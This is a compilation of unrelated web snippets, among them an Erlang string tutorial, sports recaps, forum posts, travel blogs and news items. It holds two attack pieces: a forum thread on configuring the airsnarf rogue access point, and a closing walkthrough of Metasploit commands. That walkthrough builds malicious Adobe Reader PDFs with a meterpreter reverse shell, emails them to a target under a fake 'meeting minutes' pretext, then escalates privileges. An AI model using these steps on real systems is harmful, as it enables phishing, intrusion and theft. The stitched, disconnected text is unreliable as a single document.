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But Erlang's treatment of strings as lists of bytes is as elegant as it is impractical. The factor-of-eight storage expansion of text, as well as the copying that occurs during message-passing, cripples Erlang for all but the most performance-insensitive text-processing applications.
But Erlang's treatment of strings as lists of bytes is as elegant as it is impractical. The factor-of-eight storage expansion of text, as well as the copying that occurs during message-passing, cripples Erlang for all but the most performance-insensitive text-processing applications.
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But Erlang's treatment of strings as lists of bytes is as elegant as it is impractical. The factor-of-eight storage expansion of text, as well as the copying that occurs during message-passing, cripples Erlang for all but the most performance-insensitive text-processing applications.
To understand why Erlang string handling is less efficient than a language like Perl, you need to know that each character uses 8 bytes of memory. That's right -- 8 bytes, not 8 bits! Erlang stores each character as a 32-bit integer, with a 32-bit pointer for the next item in the list (remember, strings are lists of characters.)
This was not done out of wanton wastefullness; using such large values means that Erlang can easily handle anything the UNICODE people throw at it, and the decision to represent strings as lists of characters means that a host of built-in Erlang primitives work on strings without any work on our parts. On the down side, this also means strings use a lot of memory, and that access to the nth element takes O(n) time (rather than the O(1) time we would get with strings represented as arrays of characters.)
In Erlang, literal strings are enclosed in quotes and may contain linebreaks inline, i.e.
1>A_string = "A literal string with a linebreak (\"\\n\") in it". 2>A_string. "A literal string with a linebreak ("\n")\nin it" 3>io:fwrite(A_string). A literal string with a linebreak ("\n") in it
Because Erlang strings are lists, you can use any of the functions in the lists library to manipulate the string:
1> lists:sort("Hello"). "Hello" 2> lists:sort("ZYX"). "XYZ" 3> lists:subtract("123212", "212"). "312". 4> lists:suffix(".txt", "test.txt"). true 5> lists:suffix(".txt", "test.html"). false
If you want to find out what character is at a specific position in a string, use lists:nth(N, List), where N is a 1-based index in the string:
6> lists:nth(A_string, 1) 65
length will tell you how long a string (or any list) is.
7> length(A_string). 46
Due to Erlang's single-assignment nature, it does not provides mutable strings. If you want to modify a string, you must build a new string out of the revised elements. You can make a copy of a string using duplicate. However, this is of limited utility, since you can't modify it anyway:
8> C_String = hd(lists:duplicate(1, A_string)). "A literal string with a linebreak \\n\nin it"
You can create new strings with both lists:duplicate and string:chars:
9> F_string = lists:duplicate(5, $*). "*****" 10> G_string = string:chars($*, 5). "*****"
You can also use lists:append to join strings:
11> H_string = lists:append(["Hello, ", "Erlang", "!"]). "Hello, Erlang!"


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they know. it dont matter tho they can accept it or not. im still gunna write. every chance i get.
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My parents know I write.. they dont really care haha.. My ma actually bought me a few cans and markers cause I told her it was for school haha
I always have finished stickers and art supplies in my room. I also have several books right above my workspace that are all about graffiti, street art, and stickers. Plus my parents have probably seen my stickers at one point or another just walking around the city. The door to my room is always open and they know that I trade stickers and have a blackbook. Yet since they never have asked me if I put stuff up I wonder if they haven't pieced together that I get up. Do you all think they just don't want to talk about it?
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The Tornados called two time outs clinging to the one point lead with possession under the Bulldogs' basket. As Wingate laid on a full court press, Winn's inbound pass went wide right of Whitaker and out of bounds giving the Bulldogs possession of the ball, under their own basket, down by one, with 1.7 still remaining on the clock.
Sarah Wollet, who led the Bulldogs with four assists, found Washington cutting through the key for the layup and last second, 57-56 win.
Brevard will be back in action on Wednesday when they travel to Carson-Newman to take on the Lady Eagles at 6:00 p.m.


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Thank you sorry i did not reply been busy with work and stuff
Got it working! Seems the perl script was messed up somehow, had a tinker and got it working... somehow.
Cool guide
Thank you sorry i did not reply been busy with work and stuff
My life is a living Hell, Day by Day fixing broken Windows Boxes (will it ever end)
Hi I am trying to configure airsnarf so I can present it to my class for a pressentation. I am having trouble with it. Everything seems to be configured but I can not see the access point on the PC that I want to connect to it. I am using a ipw2200 wireless card. I have also tried a linksys wireless adapter with no success. If anyone could help me it would be awesome.
hello.. anyone tried using airsnarf with eee pc??
Have got airsnarf part working but no login page
using BT3 final on Asus eeepc 4gb. bt3f installed on 4gb sdhc card
first I set up wlan
airmon-ng stop ath0
airmon-ng start wifi0
ifconfig ath0 up
ifconfig wlan0 up
airsnarf will now start
reports waiting for connection
use another laptop windows xp
control panel - network connections- wireless network connection
view wireless networks
refresh network list
bingo snarf shows and I can connect no problem and stays connected.
my PDA also connects but tends to keep reconnecting.
(I even changed its name in /pentest/wireless/airsnarf-0.2/cfg/conf file ROUGE_SSID="newwirelessname")
I then use the browser and "page not found" No airsnarf login page
I think I should get the login page at this point
I am now stuck spent many hours/days looking for the problem. I was not getting this far before I started apache. with apache running I enter localhost into firefox on my eeepc and it shows airsnarf login page
any ideas please
did you look at the apache.conf or httpd.conf for the default dirs?
which files
have 8 files httpd.conf and
4 files apache.conf
when I start apache I receive
'Could not reliably determine server's qualified domain name,using 127.0.0.1 for Servername
then popup Apache Server Started document root is @ /var/www/htdocks/
many thanks
please could someone point me in the right direction
I have airsnarf running on eeepc
my xp laptop says its connected
use firefox to view page - not found
airsnarf says waiting connection
should airsnarf show some responce and how does it return the ip of index.html
many thanks
ok I know this is an old thread, but if like me you are still using BT3 here are a few observations to help you out.
1. I set ROGUE_NET="192.168.1.0" in the airsnarf config file.
2. To test the apache server on your BT3 machine type "http://127.0.0.1" into firefox
3. If you can connect to the AP but not see the web page in a browser try "http://192.168.1.254" on the remote machine.


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'Sources tell TSN that Ovechkin may be fined for his actions, which earned him a five-minute major and a game misconduct in Washington's 7-4 victory over Buffalo. He was tossed late in the second period, just after scoring his 17th goal of the season. Buffalo's Paul Gaustad pummelled Ovechkin, who didn't throw a punch in retaliation.'
The Sabres Report - December 3, 2006


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The #3-6 hitters combined for eight hits, six RBI and seven runs scored as the Wright State baseball team scored the first seven runs of the game in rolling to a 9-2 win at Bowling Green Tuesday.
The Raiders wasted no time, opening the scoring with three runs in the first. Jake Hibberd doubled to left center on the third pitch of the game and after Corey Davis bunted him over to third and Zach Tanner walked, Ryan Ashe drove in Hibberd with a sacrifice fly to left. Garrett Gray followed with a double to right center to plate Tanner and Michael Timm reached on an error to allow Gray to score with the third run.
Gray made it 4-0 in the fifth with his third home run of the season to left and the lead grew to 7-0 with three more in the seventh. A Tanner double followed by an Ashe home run to right, his second in the last three games, accounted for the first two runs and the final run scored as Michael Timm came in on a Kody Krizman fielder's choice play.
After being held to just one hit over the first six innings by WSU pitching, Bowling Green broke up the shutout with two in its half of the seventh. Wright State, though, answered with a pair of its own in the eighth as Tanner tripled in Davis, who reached on an error, and later scored on another error.
On the mound, Raider pitchers Lee Valencheck, Luke Mamer, Jack Van Horn and Michael Schum combined for a four-hitter, allowing two runs and four walks while striking out nine.
Offensively, Gray continued his hot hitting as the reigning Horizon League Batter of the Week went three for four with two RBI and two runs scored. Tanner had two hits and scored three times while Timm and Hibberd also had two hits.
Wright State (33-16) begins a three-game Horizon League series at Youngstown State on Friday at 3:00.


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Wasatch Range (Central) > Devil's Castle > Climber's Log
Devil's Castle Climber's Log
[ Sign the Climber's Log ]
|Joseph Bullough
|Various ascents
|Climbed 11 times:
|Posted Aug 30, 2015 6:46 pm
|Fun Scramble
Date Climbed: Jul 23, 2015
|Went up in the afternoon, after I got off of work. Beautiful approach with the wildflowers in bloom. I stayed on the ridge as much as possible for the scrambling. The rock wasn't as bad as it looked but I sure tested every hand and foothold before trusting it.
|Posted Jul 26, 2015 12:59 am
Date Climbed: Jul 28, 2014
|Can't believe I waited so long to do this hike, but I was not disappointed. What a fun peak! Did a west to east traverse. Didn't stay directly on the ridge for the middle summit, but went around to the south & up the back side. Most of the scrambling much easier than it looks.
|Posted Jul 30, 2014 7:27 pm
|main tower
Date Climbed: Jul 7, 2014
|West to east loop via Albion campground TH. with Dennis.
|Posted Jul 7, 2014 7:20 pm
|Cloudy Day
Date Climbed: Jul 14, 2012
|With Broc
|Posted Sep 15, 2013 10:06 am
|Great Summit
Date Climbed: Aug 10, 2013
|I'll be honest I was scared to death while doing this. I completed it and I would go back and do this again. It really isn't as bad as it looks.
|Posted Aug 29, 2013 5:31 pm
|David Mortensen
|Devil's Castle
Date Climbed: Jul 16, 2013
|I climbed this peak with Rocky Alps. We did the west and the middle summits. It involved some fun, but exposed scrambling. We did Sugarloaf afterwards. The Albion Basin was beautiful with lots of wildflowers.
|Posted Jul 16, 2013 5:04 pm
|andrew david
|Lots of Possibilities
Date Climbed: Jul 29, 2011
|Can be climbed or "hiked" though exposure even on the standard walk/traverse there is a ton of exposure. Great thrill, spectacular views, and easily combined with Sugarloaf and another unnamed peak. The approach if timed right is through wildflower meadows also, though a cool winter climb could be done up the central gully splitting the face of the mountain.
|Posted Feb 16, 2013 4:05 pm
|From Cecret Lake
Date Climbed: Aug 1, 2011
|Hit Sugarloaf, Baldy, and Hidden Peak as well.
|Posted Oct 8, 2012 12:06 pm
|Devil's Castle
Date Climbed: Sep 10, 2014
|9/10/2014 Traverse from East to West. From Catherine's Pass to Sunset and up and over Devil's Castle to Sugarloaf. Very fun, challenging traverse over Devil's Castle.
8/20/2012 Approached from the saddle between Sugarloaf and Devil's Castle. Traversed East across all three towers before returning to the saddle. Great scramble.
10/2/2013 Climbed from Albion Basin. From Devil's Castle I worked my way along the ridge to AF Twins. Returned the way I came to the saddle between Baldy and Sugarloaf and back to Cecret Lake.
|Posted Aug 20, 2012 7:15 pm
|Just off the plane!
Date Climbed: Jun 16, 2012
|Flew in from California at 11:45, on the trail with my son by 1:00. This was a cool hike, loved the views!
|Posted Jun 17, 2012 11:35 am
|Black Streak
Date Climbed: Aug 1, 2004
|Excellent route. It was rated 11a in our guidebook but it wasn't that hard.
|Posted May 2, 2012 3:50 pm
|Ted Eliason
|Father's Day Summit
Date Climbed: Jun 19, 2004
|Scrambled free solo up the loose rocky couloir like an idiot.
|Posted Oct 12, 2011 11:27 am
|Multiple Climbs
|Usually climb up Collins Gulch, over Sugarloaf and Devils, then down Albion. Good views of the resort.
|Posted Sep 14, 2011 5:41 pm
|Up I Go
|8/24/11 East to West with Matt
6/30/14 Devil's to South Thunder
|Posted Aug 25, 2011 11:30 am
|Matthew Van Horn
Date Climbed: Aug 24, 2011
|08/24/2011 With Jacob Moon
08/01/2008 West to East all summits with Justin Anderson
07/25/2008 East to West with Scott Wesemann
07/19/2007 with Justin Anderson, 4:20 AM start from the car at Albion Basin campground. Traversed the full Castle East to West, then hiked up to Sugarloaf and back down to cecret Lake and the car. We saw 3 moose: one bull and later, a mother and calf.
08/05/2006 with Joe Bullough and Justin Anderson. Hiked the full Castle from East to West as a Bullion Divide bonus, then we continued to Sugarloaf and the full Divide route to White Baldy.
|Posted Aug 25, 2011 12:13 am
|Very fun! Despite the rock looking crumbly, it is very easy to climb and like many other large alpine climbs, you can usually find an easier route if you feel uncomfortable with the exposure.
|Posted Jul 9, 2011 9:46 pm
|Just Plain Fun
Date Climbed: Aug 16, 2006
|08/16/06 Took Kim to all three towers and down Albion Basin
|Posted Jun 20, 2011 9:59 pm
|Climbed via 3 Technical Routes
Date Climbed: Aug 1, 2011
|I climbed this 3 times via 3 routes in the summer of 2011. It's some of my favorite rock climbing in the Wasatch. Big, dark, adventurous... What's not to love?
Here are links to my TRs (with pics) on my blog:
Black Streak (5.10c, 6 pitches)
Horns of Satan (5.10c, 8 pitches)
Portable Darkness (5.9+, 6 pitches)
I'll definitely be back to climb the rest of the routes.
|Posted Feb 18, 2011 10:38 pm
|Ed F
|Great scramble
|Sometime in August of 07
|Posted Jan 31, 2011 8:33 pm


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:: Microsoft Office Advanced
Fall 2013
@Leeward CC
|54279, 54280
|Credit Hours:
Dottie Sunio
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|08/26/2013 - 12/12/2013
|Course Requirements:
|Students will be contacted by their instructor by UH email before the first day of instruction. Students must check their UH email for course correspondence before the first day of instruction.
|Course Prerequisites:
|Prerequisite: BUS 101, ICS 100, or ICS 101 with a grade of C or better, or completion with a grade of C or better or concurrent enrollment in BUSN 123 (formerly
BUS 127) and BUSN 131 (formerly BUS 136) and BUSN 137 (formerly BUS 137) or equivalent, or instructor's approval.
Rec Prep: BUSN 121 (formerly OAT 121) Introduction to Word Processing, or equivalent. Students must check their UH email for course correspondence before
the first day of instruction. MS OFFICE 2010 PROFESSIONAL AND WINDOWS ARE REQUIRED FOR THIS CLASS ONLY
|Course Description:
|Continuation of Microsoft® Office applications. Advanced applications include advanced word processing, advanced spreadsheet applications, advanced database applications, integration of applications, and creation of a web site. Students will be expected to give an oral presentation using presentation software. Students will also be expected to communicate via email and use Microsoft® Outlook. Completion of BUS 201 will assist student preparation for successful completion of Microsoft Office User Specialist (MOUS) Core certification exams.
Books may be purchased at the Leeward CC bookstore or ordered online at http://www.bookstore.hawaii.edu/lcc/home.aspx. If you do not have access to the Internet or unable to travel to the bookstore, you may also order by phone at 1-800-UHBOOKS
|Technical Requirements:
|The Internet allows students to take a course at home using a personal computer. Familiarity with using a computer and basic Internet skills (browsing, sending e-mail, saving/sending files) is required. Students must have a computer with Internet access. Depending on the online course, students may be required to log in at a specific day and time or at anytime. Students taking an online course should always contact their instructor after registration or prior to the first day of class to get detailed information regarding the course.
Minimum Computer Hardware/Software Requirements:
It is also required that you obtain a UH Email account. Please go to the following URL for more information: http://www.hawaii.edu/askus/563
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|Alternate Technology Access Plan: In registering for a Distance Education course (Cable or Web) the student is responsible for finding immediate alternate access to a computer with Internet connectivity or cable television should that student experience technical difficulties. Technical difficulties can include but are not limited to problems with a student's computer hardware/software; inoperability of a student's VCR or DVR; or lack of service by a student's Internet Service Provider (ISP) or Cable Provider. Technical issues do not constitute the extension of an assignment, project, quiz or exam deadline unless agreed upon by the instructor.
An Alternate Technology Access Plan will be made by the student prior to the start of the semester and should be implemented immediately upon encountering technical difficulties. The student is required to continue course work as a result of having an alternate plan of access while independently resolving any technical issues with hardware/software, VCR/DVD, ISP, or Cable Provider.
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Outside of Conakry
December 16th 2005
Whenever I'm not on any record digging journey, my wife and I enjoy the endless hiking possibilities all over Guinea. Only one hour outside the dirty, smelly and chaotic city, you can find yourself in places like this.
For about 20 dollars, you can rent a small fishing boat for a full day and have the captain show you around the wonderful Illes de Los which you will reach after less than one hour coming from Conakry's fishing port Boulbinet. Once on the islands, you can hike around in tropical vegetation or relax on the beach and buy some fresh fruit.
The island with the nicest beach is called Room and was the inspiration for Stephenson who spent some time here to write his book "treasure island". The largest island is called Tamara. Hidden behind some trees, you can find some old slave houses, a very sad and kinda spooky site that later was used as a prison and now slowly gets reclaimed by nature.


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SCS News & Press Releases
Friday March 03, 2017Carnegie Mellon University will host a free, public webcast sponsored by the South Big Data Innovation Hub about how bots and other technological phenomena are reshaping public discourse.
Thursday March 02, 2017Ran Zhao, a Ph.D. student in the Language Technologies Institute (LTI), has been named Carnegie Mellon University's first Alexa Fund fellow, and CMU is one of the first four universities to be chosen to be part of the Alexa Fund Fellowship.
Tuesday February 21, 2017The Association for Computing Machinery's Special Interest Group on Computer-Human Interaction (SIGCHI) has named two School of Computer Science professors among its award recipients for 2017 and elected a third to its honorary organization.
Monday February 20, 2017Andreas Pfenning, assistant professor in Carnegie Mellon University's Computational Biology Department, is part of an all-star research team that aims to find new ways to translate genetic findings into new therapies for Alzheimer's disease.
Friday February 17, 2017School of Computer Science alumnus Kiran Bhat and former Robotics Institute faculty member Iain Matthews are among 18 winners of this year's Scientific & Technical Achievements Awards, presented by the Academy of Motion Picture Arts and Science.
Monday February 13, 2017Carnegie Mellon University alumni and former staff members at the National Robotics Engineering Center (NREC) have founded Argo AI, an artificial intelligence startup in which Ford Motor Company is investing $1 billion over the next five years.
Thursday February 09, 2017Harry Shum, executive vice president of Microsoft's Artificial Intelligence and Research group, has been elected as a foreign member of the prestigious National Academy of Engineering (NAE). Shum, who was born in China, earned a Ph.D. in robotics at Carnegie Mellon in 1996.
Tuesday February 07, 2017Takeo Kanade, Carnegie Mellon University's U. A. and Helen Whitaker Professor of Robotics and Computer Science, has been named the 2017 recipient of the IEEE Founder's Medal — one of IEEE's highest honors.The medal, which will be presented at the annual IEEE Honors Ceremony on Thursday, May 25, in San Francisco, recognizes Kanade "for pioneering and seminal contributions to computer vision and robotics for automotive safety, facial recognition, virtual reality and medical robotics."
Tuesday February 07, 2017A new study led by the genealogy company Ancestry analyzed 770,000 DNA samples to map how people moved and married in post-colonial America – weaving together genetics and geography to better understand human history. Authors of the study, published in the journal Nature Communications, include Theodore Roman, a student in the joint CMU-Pitt computational biology Ph.D.
Monday February 06, 2017"A major milestone for AI.""A powerful and rather unsettling proposition: a machine that can out-bluff a human.""Libratus's main attribute as a poker player is that it's inhumanly good."


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Kate - from Stuttgart, Germany
Buttercream icing will crust (the edges harden) a few hours after icing a cake, but a buttercream iced cake should keep at room temperature for 2-3 days. Adding a small amount of corn syrup might help the icing from drying out too much.
For successful clean cuts, before you start cutting, determine how many pieces you'll want. Most round cakes easily cut into 8 to 12 pieces. Then, find a thin-bladed, longer knife – some bakers prefer serrated knives. Remember, the longer the knife blade, the less you'll need to make multiple motions for one piece of cake.
To cut, run the knife blade under hot water, dry the knife and immediately make your first slice, keeping a steady hand and trying to be as even as possible. The best place to begin is down the middle (either horizontally or diagonally). Heating the knife in hot water makes the knife glide more easily through the cake as you slice. Wash the knife under hot water and dry it again between every slice to continue to cut smoothly.


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Assessments are essential tools for linking science and decision making. USGCRP has a legal mandate to conduct a National Climate Assessment every four years, the most recent of which was released in May 2014.
Climate change has direct and indirect effects on human health. USGCRP coordinates climate and health-related research, assessment, and engagement efforts in partnership with organizations in the U.S. and around the world.
As the leading Federal authority on global change science, USGCRP and our member agencies play a key role in engaging and educating citizens about climate and related global change.


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Tornados strand 14 runners, lose 12-7 to North GreenvilleMarch 4, 2009
Pruitt shines bright in losing effort
Brevard, N.C. - North Greenville scored nine runs in the 4th inning and held on thanks to 14 stranded Brevard runners, beating the Tornados, 12-7, Wednesday afternoon at Gil Coan Field. The win is the first of the season for the Crusaders over an NCAA Division II opponent.
Chad Drosieko (1-1; Easley, S.C.) started and pitched five innings for the victory, allowing six runs on nine hits while striking out three batters. Devin Vance (Taylors, S.C.) pitched the final four innings and picked up his first save of the season, allowing just a single run while fanning six. Vance also tallied 2 RBI at the plate. Jacob White (0-3; Elkin, N.C.) took the loss for Brevard, allowing seven runs in three innings of work.
Dayton Lupton (Milner, Ga.) had a big day at the plate for the Crusaders, going 3-4 with 4 RBI. Matthew Pruitt (Hendersonville, N.C.) had the best day of any Tornado; the freshman was 1-5 at the plate with 2 RBI and pitched the final six innings on the mound, allowing just one run. Kellen Moman (Greenville, S.C.) hit his first career home run for the Tornados.
The Crusaders (3-16) got on the board first in the 2nd inning. With two on and two out, Lupton pulled a double to the left center gap, scoring a pair to make the score 2-0.
The Tornados (5-8, 0-3 South Atlantic Conference) responded with five runs in the bottom half of the inning. After back-to-back singles from Hendersonville, N.C. natives Jason Merrill and Josh Miller, Moman launched a moon shot over the left field wall to put Brevard up, 3-2. Three batters later, Spencer Linn (Fletcher, N.C.) came up with an RBI single, and Pruitt tacked on an RBI groundout to make the score 5-2.
North Greenville put on an offensive clinic in the 4th. The first nine men reached, and all of them touched home. With the bases loaded, Lupton singled through the middle to score a run, starting the merry-go-round. David Frazier (Snellville, Ga.) followed with an RBI single of his own, prompting coach Todd Anderson to summon Tommy Yearty (Satellite Beach, Fla.) from the bullpen. Yearty hit the first batter he faced, Randy Stegall (Pauline, S.C.) to tie the game at 5, then Cory Hinton (Rock Hill, S.C.) gave NGU the lead with an RBI single of his own. Two more runs scored when the next batter, Derek Fulmer (Pelion, S.C.) reached base on an error by Brevard's Stephen Mullis (Charlotte, N.C.), and Justin Walters (Laurel Hill, N.C.) sent Yearty to the showers with an RBI single of his own to make the score 9-5. After Pruitt moved from 2nd base to the mound, two more runs scored, on an RBI groundout from Vance and a single from Lupton to make it 11-5 Crusaders.
The road team tacked on a run in the 6th, when a sac fly from Vance scored Anthony Foulk (Genoa, Ill.) to make it 12-5.
Brevard scored a run in the bottom of the 6th when Merrill drew a walk with the bases loaded, but Bryant Smith (Florence, S.C.) struck out with the bases juiced to end the rally at 12-6. The final Tornado run came in the 7th, on a run-scoring groundout from Pruitt, but again the Tornados stranded a pair after Mullis was retired via strikeout to end the frame.
Brevard is back at Gil Coan Field Thursday for a 3 p.m. meeting with Davis & Elkins. North Greenville's next game is also against Davis & Elkins, on Friday afternoon at 2 p.m.


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Uncle Johnny's Miami Vice Frozen Cocktails [PHOTOS + RECIPE]
We're pretending that it's the first day of spring!!!
Miami Vice Frozen Cocktails
5 oz Bacardi® 151 rum
1 package of frozen pina colada mix
1 package of frozen daiquiri mix
fresh strawberries
shredded coconut
Pour Bacardi, frozen pina colada and frozen daiquiri mix into blender over ice.
Garnish with fresh strawberries and shredded coconut.


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Attacks of September 11, 2001 remembered here in the Lowcountry
From our News Partners at WCBD-TV:
A ceremony takes place in Beaufort at Waterfront Park on Bay Street at 8:30AM.
Church bells across the city of Charleston will begin tolling at 8:46AM.
The Charleston Fire Department will hold a bell ringing ceremony. That takes place at the Meeting Street Firehouse. The ceremony begins at 9:45AM. The bell will begin ringing at 9:59AM, the time the first tower fell. The bell will ring 343 times, once for each life lost by a member of New York's Fire Department.
At the Citadel, a fragment of steel from the wreckage of the twin towers will be presented to the college today. Members of the New York City Fire Department will present the piece to the Citadel at a ceremony on Summerall Field just before 3:30PM. Two photographic exhibitions of 9/11 will also be on display.
The Goose Creek American Legion Post 166 will hold their annual American Flag disposal ceremony and 9/11 remembrance at 6:00PM at the legion on Howe Hall Road.
A tri-county unity prayer service takes place beginning at 6:30OPM at Phillip Simmons Mall Park.
The Art Institute of Charleston is hosting a number of art-related 9/11 remembrances. The schedule is below:
9:15 am Marjory Wentworth reading a special poem
9:20 am Song performed by trio of students and faculty
9:35 am Comments by Retired USMC Colonel Eddie S. Ray
9:59 am Performances by Art History students
10:28 am Begin reading names of those lost by Public Speaking students
5:15 pm Original poems read by Creative Writing/English students; meaningful statistics recited by Math students
Photo Credit: K.Alene Golden


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GSA Awards Managed Hosting Services Contract
Oct. 7, 2009
Contact: Diane Merriett 202-501-1231
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WASHINGTON – The U.S. General Services Administration has awarded a five-year task order contract, valued at up to $29 million, to CGI Federal Inc. to provide managed hosting services for GSA's financial management system.
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The Kings didn't look like a team that played Saturday afternoon, when they defeated the Edmonton Oilers 4-1, finding reserves of energy late in the game Sunday night that enabled them to rally from a 3-2 deficit in the closing minutes of regulation.
Dustin Brown swatted home a free puck to tie the score at 3-all, one of 16 shots the Kings fired at goaltender Viktor Fasth in the third period. The Ducks went ahead on Matt Beleskey's power-play goal early in the third, but had only five shots in the period.
"Played good, came in here and played hard, scored three goals and gave yourself a chance to win," coach Darryl Sutter said after the Kings (22-13-4, fourth place in the Western Conference) rallied three times to force the game to overtime and a shootout.
"I think we dominated the whole game," defenseman Drew Doughty said. "The only thing that is frustrating is we only got one point rather than two. We definitely deserved two points. We outplayed them. I think that there's no doubt in anybody's mind about that."
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Kings forward Jeff Carter had this to say about newly acquired defenseman Robyn Regehr: "I think I only played against him a few times. When I came to the West, he went to the East. I mean, he's just a hard-nosed, big, strong guy. He's almost like a bully out there. He's always in your face. Every time you turn around, he's there. It's great for us back there."


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Central Wyoming College Counseling and Career Services provides a variety of counseling services to current and past CWC students to facilitate meeting their educational goals. Services include career counseling and assessment, academic skills development and personal counseling. These services may be offered individually, in groups, in seminars or workshops, and some can be offered long distance via web-camera or telephone. All counseling services are offered free of charge to CWC students. The Counseling Office works from a short term treatment model. If it appears that you need or want long-term therapy, a referral will be made to the appropriate resource.
Students of Concern and Student in Crisis - Making a Referral
Do you know a student that may be depressed? Do you know a student that may be angry? Are you concerned about a student and want to do something about it? There is a team of staff members on campus that you can make an official referral to for action that WILL take place to attempt to help the student, coordinated by Counseling Services and the Associate Vice President for Student Services.
For mild and moderate concerns, that would not constitute an emergency, this would be a Students of Concern referral - Contact the Counseling Services Office at 855-2175, or via e-mail, or stop by MH123F.
For a Student in Crisis referral, when it is a severe or emergency concern, you may likely contact 911 or Campus Safety at 855-2143, and also fill out this form and turn it in to the Counselor or Campus Safety.
Either of these will start the process and action WILL be taken! If you aren't sure what kind of concern you have, contact the Counseling Services Office at 855-2175 or Campus Safety at 855-2143.
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There are a variety of services available on campus that you or someone you know may be needing, including helping with any student issue, academic advising, tutoring, disability services, off-campus employment, financial aid, retention and transfer assistance, and minority services. Take a look at this referral guide for the contact information for these services!
The CWC Counseling Center, to the extent to which its services allow, does not discriminate on the basis of race, color, national origin, ancestry, sex, age, religion, or disability in admission or access to, or treatment or employment in its educational program services or activities. The college makes reasonable accommodations to serve students with special needs and offers services to students who have the ability to benefit. Inquiries concerning Title VI, Title IX. or Section 504 may be referred to the Human Resources Officer at Central Wyoming College, 2660 Peck Ave., Riverton, WY 82501, (307)855-2112 or 1-800-735-8418 (in-state), or the Office of Civil Rights, U.S. Department of Education, Federal Building, 1244 Speer Blvd, Suite 310, Denver, CO 80204-3582, (303)844-5695, Fax (303)844-4303, TDD (303)844-3417, e-mail email@example.com.
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Lance has been a licensed and certified counselor for over 15 years, with experience in such wide areas as substance abuse, depression, anxiety, career exploration, and men's issues like anger and violence expression. Counseling Services has the ability to work with most CWC students as their issues warrant, including referral to off-campus options.
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(NEWSER) – Despite calling 911 and saying her her soon-to-be-ex-husband George Zimmerman was threatening her with a gun today, Shellie Zimmerman has decided not to press charges. Police in Lake Mary, Florida, say she and her father—the owner of the house where the incident took place—have signed paperwork declining to press charges against George, the Orlando Sentinel reports. "They both have declined to press charges against George," says the local police chief. "We have no victim, no crime."


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Hickory, N.C. - The Brevard College track & field team competed Saturday at the Lenoir-Rhyne PowerSox Invitational. The meet is the third of the season for the Tornados and coach James Galloway.
The Tornados had their most success in the men's 1500 meter run. Damon Martin finished 9th out of 17 runners in a time of 4:31.51, while Tiffen Tapia checked in at 16th in 4:51.52.
In the men's 100 meter dash, Brevard's Justin Fleming placed 9th out of 17 with a sprint of 11.12.
The final even Brevard competed in was the women's 800 meter run, where Kristen Zerressen was 16th in a time of 3:21.42.
For complete results, click here.
Brevard's next meet is April 17, when they compete at Western Carolina.


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As you read this, Brian and I are flying back to the East coast! Last week, Brian flew out to Seattle, then down to California for work and I flew into San Francisco for a work meeting for a few days. It worked out REALLY well that we were both able to coordinate our schedules and in addition to working, we spent one night in San Francisco and two days/ one night in Napa!
I had never been to California before, so I was really excited when I found out I'd be coming here for work and knew that I had to make the most of it. I took a really early flight in to San Francisco last Wednesday, so that I'd have a couple of hours in the afternoon before it was time to get to work.
The flight was so long and it felt good to get out for a run.
The hotel was fairly close to the Embarcedero- the eastern waterfront of San Francisco. I jogged over and was greeted by a great view of the Bay Bridge.
Some large scale public art and palm trees. This ended up being a great place to run because I didn't have to deal with traffic, and I made it here every day I was in the city.
My plan was to run up to Fisherman's Wharf and find the sea lions, but I had no idea where I was going. The docks and boats provided some nice views.
The Alcatraz Tours were really popular. Since it was the afternoon, a ton of people were out and around the tour boats it got a little too crowded to run.
The island looked cool and I think if i had more time in the city I would try a tour.
When I went out to take these pictures, I knew that sea lions were close. You definitely hear them before you see them! they are quite loud. I actually went out one pier too far, but I could see them!
There were two just playing around near the pier I was out on.
And then I headed over to check out the whole gang.
They were really cute and so happy looking. Check out this big guy:
And, for the most part, that was my San Francisco experience! I worked through Friday and then Brian and I went out to dinner in the city with a friend at an Indian restaurant (delicious, why don't we eat Indian more often?) and then headed up to Napa bright and early on Saturday morning.
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Watch video on-line: http://g0tmi1k.blip.tv/file/4924026
Download video: http://www.mediafire.com/?h7lab2h1p1369id
Brief Overview
This screencast demonstrates vulnerabilities in Adobe PDF Reader. Instead of creating a mass of vulnerable files , the attacker creates two PDFs (one relies on no user interaction and crashes the reader whereas the other one require the user to click through a few warning screens, however is then presented with a document).
The attacker emails these documents to the target (however they have to compress & encrypt the documents).
What do I need?
* Metasploit – (Can be found on BackTrack 4-R2). Download here
* SendEmail + SMTP details – (SendEmail can be found on BackTrack 4-R2). Download sendemail here
* A PDF document (Either create your own or can be found by using an internet search engine).
* The target will need a vulnerable version of Adobe Reader (v9.3 for example). Download here
* Start network services and obtain an IP address
* Run metasploit and search for PDF exploits
* Configure exploit and create a vulnerable file
* Compress and encrypt PDF
* Socially engineer an email to the target and attach file
* Wait for target to download and open file
* Game Over
* Locate a "legit" PDF documentand bind with exploit
* Compress and encrypt PDF document
* Socially engineer an email to the target and attach file
* Wait for target to download and open file
* Game Over ...again
Commands: *Due to the forums security, I'm unable to post the complete command list.*
Walk-throughCode:start-network dhclient eth0 msfconsole search pdf use windows/fileformat/adobe_libtiff info show options set FILENAME evil.pdf setg OUTPUTPATH /root setg PAYLOAD windows/meterpreter/reverse_tcp setg LHOST 192.168.0.33 setg LPORT 4444 show options exploit use exploit/multi/handler show options exploit zip meeting.zip evil.pdf sendEmail -f "*************************************" -t ***************************** -u "Top secret stuff" -m "Here are the minutes from the last meeting." -a /root/meeting.zip -s [smtp host] -xu [smtp user] -xp [smtp pass] zip -e meeting.zip evil.pdf g0tmi1k g0tmi1k sendEmail -f "*************************************" -t ***************************** -u "Top secret stuff" -m "Here are the minutes from the last meeting. The password is: g0tmi1k" -a /root/meeting.zip -s [smtp host] -xu [smtp user] -xp [smtp pass] #Firefox -> Google-> filetype:PDF magic ponies -> Save: good.pdf #IE -> [target's online email] -> Login -> Download FatPlayer -> Download & Open use windows/fileformat/adobe_pdf_embedded_exe info show options set FILENAME evil2.pdf #set EXENAME evil.exe #ENCODE set LAUNCH_MESSAGE Be sure to re-save when shown and then click open. set INFILENAME /root/good.pdf show options exploit use exploit/multi/handler show options exploit -j zip -e meeting2.zip evil2.pdf g0tmi1k g0tmi1k sendEmail -f "*************************************" -t ***************************** -u "Top secret stuff v2" -m "If you can't open the first email, try this one. The password is: g0tmi1k" -a /root/meeting2.zip -s [smtp host] -xu [smtp user] -xp [smtp pass] #IE -> [target's online email] -> Login -> Download FatPlayer -> Download & Open sessions -l -v sessions -i 2 sysinfo getuid getsystem getuid
